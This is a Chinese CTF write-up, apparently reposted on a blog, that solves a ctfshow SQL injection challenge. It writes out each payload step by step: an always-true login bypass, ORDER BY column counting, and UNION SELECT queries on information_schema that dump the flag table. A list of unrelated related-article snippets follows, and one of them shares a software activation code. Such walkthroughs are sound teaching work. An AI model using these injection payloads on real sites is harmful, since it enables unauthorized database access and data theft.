解题思路

打开靶场

既然提示是最简单的sql注入了,那么直接尝试永真登录

1' or 1=1#

 这里闭合就是简单的单引号

可以看到没登录成功,但是有回显:欢迎你,ctfshow

sql注入最喜欢的就是回显了!这题的思路就是靠这个回显,必须倚靠一下这个回显来看我们注入是否成功,那么1' or 1=1是不能变了。

去判断列数:

1' or 1=1 order by 4#

 

回显消失

1' or 1=1 order by 3#

 

三列的时候又回来了,所以列数是三 

下面就不需要这个回显了,接下来找三列的回显:

1' union select 1,2,3#

 

可以看到2列是可以回显的,查看下数据库:

1' union select 1,database(),3#

 

只有Web2数据库,那么我们看下web2数据库下面有哪些表

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

可以看到

 

 那么flag表当然是我们感兴趣的,对flag表进行爆列,也就是看下有哪些列:

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag' #

 

只有flag列,那么我们查看flag列的数据

1' union select 1,flag,3 from flag #

 

成功获取flag 

总结

一道基础的sql注入题目,唯一的难点可能是在判断列数上面,正常来说需要依靠永真回显来判断,这也是需要学到sql注入回显的重要性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/89487.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/89487.shtml
英文地址,请注明出处:http://en.pswp.cn/web/89487.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

upload-labs 靶场通关(1-20)

目录 Pass-01(JS 绕过) Pass-02(文件类型验证) Pass-03(黑名单验证) Pass-04(黑名单验证.htaccess) Pass-05(大小写绕过) Pass-06(末尾空格) Pass-07(增加一个.) Pass-08(增加一个::$DATA) Pass-09(代码不严谨) Pass-10(PPHPHP&am…

[附源码+数据库+毕业论文]基于Spring+MyBatis+MySQL+Maven+vue实现的酒店预订管理系统,推荐!

摘 要 使用旧方法对酒店预订信息进行系统化管理已经不再让人们信赖了,把现在的网络信息技术运用在酒店预订信息的管理上面可以解决许多信息管理上面的难题,比如处理数据时间很长,数据存在错误不能及时纠正等问题。 这次开发的酒店预订管理系…

LSTM入门案例(时间序列预测)| pytorch实现(可复现)

需求 假如我有一个时间序列,例如是前113天的价格数据(训练集),然后我希望借此预测后30天的数据(测试集),实际上这143天的价格数据都已经有了。这里为了简单,每一天的数据只有一个价…

Axure RP 10 预览显示“无标题文档”的空白问题探索【护航版】

1. 安装情况 官网 Axure RP 10:Download Axure RP 10 - Axure (PS:11都出了) 版本:10.0.0.3924 激活码:49bb9513c40444b9bcc3ce49a7a022f9 (10/11都可以用,但只尝试了10&#xff…

基于SpringBoot+Vue的汽车租赁系统(协同过滤算法、腾讯地图API、支付宝沙盒支付、WebsSocket实时聊天、ECharts图形化分析)

系统亮点:协同过滤算法、腾讯地图API、支付宝沙盒支付、WebsSocket实时聊天、ECharts图形化分析;01系统开发工具与环境搭建—前后端分离架构项目架构:B/S架构运行环境:win10/win11、jdk17前端:技术:框架Vue…

数据结构入门:像整理收纳一样简单!

在我们生活中,经常会面对这样的问题: “我要怎么整理我的衣柜?” “电脑里照片太多了,怎么归类才方便查找?” 其实,程序员也有类似的烦恼。他们不整理衣柜,而是“整理数据”。而这门关于如何“收…

力扣每日一题--2025.7.15

📚 力扣每日一题–2025.7.15 3135. 有效单词 (简单) 大家好!今天我们要来聊聊一道有趣的编程题——有效单词 📝 题目描述 题目分析 📚 题目要求我们判断一个字符串是否为有效单词。有效单词需要满足以下…

Mysql数据库——增删改查CRUD

文章目录一、数据库的基础命令二、创建表三、增(create)四、查询(retrieve)五、条件查询(where)六、修改(update)七、删除(delete)一、数据库的基础命令 1.使用客户端连接服务器 mysql -u root…

关于pytorch虚拟环境及具体bug问题修改

本篇博客包含对于虚拟环境概念的讲解和代码实现过程中相关bug的解决关于虚拟环境我的pytorch虚拟环境在D盘,相应python解释器也在D盘(一起),但是我的pycharm中的项目在C盘,使用的是pytorch的虚拟环境,这是为…

U盘量产工具与性能优化完全指南

本文还有配套的精品资源,点击获取 简介:U盘量产工具是IT行业中的专业软件,用于批量生产或修复U盘。安国和银灿是两个提供U盘量产工具的主控芯片制造商,提供初始化、格式化、分区管理、性能优化、故障修复、个性化定制、固件升级…

Golang http开发实战:构建RESTful API保姆级教程

目录 章节1:RESTful API的精髓与Go的Web开发哲学 RESTful API的设计原则 Go的http包核心组件 实战:第一个RESTful API端点 章节2:设计优雅的RESTful路由 路由设计的注意事项 使用Gorilla Mux实现动态路由 章节3:请求与响应的艺术:解析与格式化 解析请求数据 统一…

UGUI 性能优化系列:第一篇——基础优化与资源管理

UGUI 性能优化系列:第一篇——基础优化与资源管理 UGUI 性能优化系列:第二篇——Canvas 与 UI 元素管理 在 Unity 游戏中,用户界面(UI)是玩家与游戏交互的核心。然而,不当的 UGUI 使用常常成为游戏性能的…

多端协同的招聘系统源码开发指南:小程序+APP一体化设计

当下,很多企业选择搭建属于自己的多端协同招聘平台,尤其是中大型人力资源公司、连锁品牌企业,以及同城服务平台,更是将“小程序APP”一体化招聘系统视为提升效率、降低用工成本的利器。 今天,笔者将从源码开发的角度&a…

Maven 配置文件核心配置:本地仓库、镜像与 JDK 版本

Maven 配置文件核心配置:本地仓库、镜像与 JDK 版本 在 Maven 项目开发中,合理配置 settings.xml 文件能显著提升依赖管理效率。本文将聚焦本地仓库、镜像加速和 JDK 版本这三个核心配置,结合 IDEA 环境详细讲解配置方法与作用。 一、Maven 配…

【时时三省】(C语言基础)通过指针引用字符串

山不在高,有仙则名。水不在深,有龙则灵。 ----CSDN 时时三省如在printf函数中输出一个字符串。这些字符串都是以直接形式(字面形式)给出的,在一对双撇号中包含若干个合法的字符。使用字符串的更加灵活方便的方法——通…

【Linux驱动-快速回顾】一文快速理解GIC内部寄存器对中断的控制

第一部分:GIC的功能和组成 1. GIC要解决的根本问题 在一个复杂的片上系统(SoC)中,有非常多的硬件模块(如定时器、串口、按键、DMA等),它们都需要在完成任务或遇到特定事件时通知CPU。同时&#…

【IoTDB 线上小课 17】开源 ≠ 免费,3 分钟总结开源商用指南

【IoTDB 视频小课】第十七期,解答你最关心的开源商业使用问题!关于 IoTDB,关于物联网,关于时序数据库,关于开源...一个问题重点,3-5 分钟,我们讲给你听:原来开源商业化有这么多规则开…

VUE项目学习笔记 v-for绑定数据,该数据异步获取,同时需要对v-for的DOM节点进行js操作

问题描述:项目里有一个轮播图,轮播图的图片数据从服务器获取,用v-for生成DOM在页面中显示,轮播图插件会通过new Swiper给DOM添加CSS、事件等,实现轮播效果。在这里存在操作顺序问题:当服务器返回图片数据后…

Science | 如何利用“T细胞+组蛋白乙酰化”两大国自然热点?T细胞耗竭机制与代谢-表观遗传调控的新范式

CD8⁺T细胞耗竭(T cell exhaustion)是肿瘤免疫治疗的核心瓶颈,其表观遗传重塑机制(如组蛋白修饰)是当前国自然重点资助的前沿方向。耗竭T细胞(TEX)是指在慢性感染(如持续性病毒感染&…

Logback 配置的利器:深入理解<property>与<variable>

在构建现代 Java 应用程序时,日志是不可或缺的一部分。一个健壮的日志系统不仅能帮助我们监控应用程序的运行状态,还能在问题发生时提供关键的诊断信息。Logback 作为 SLF4J 的一个流行实现,以其高性能和灵活的配置而广受开发者喜爱。 然而&a…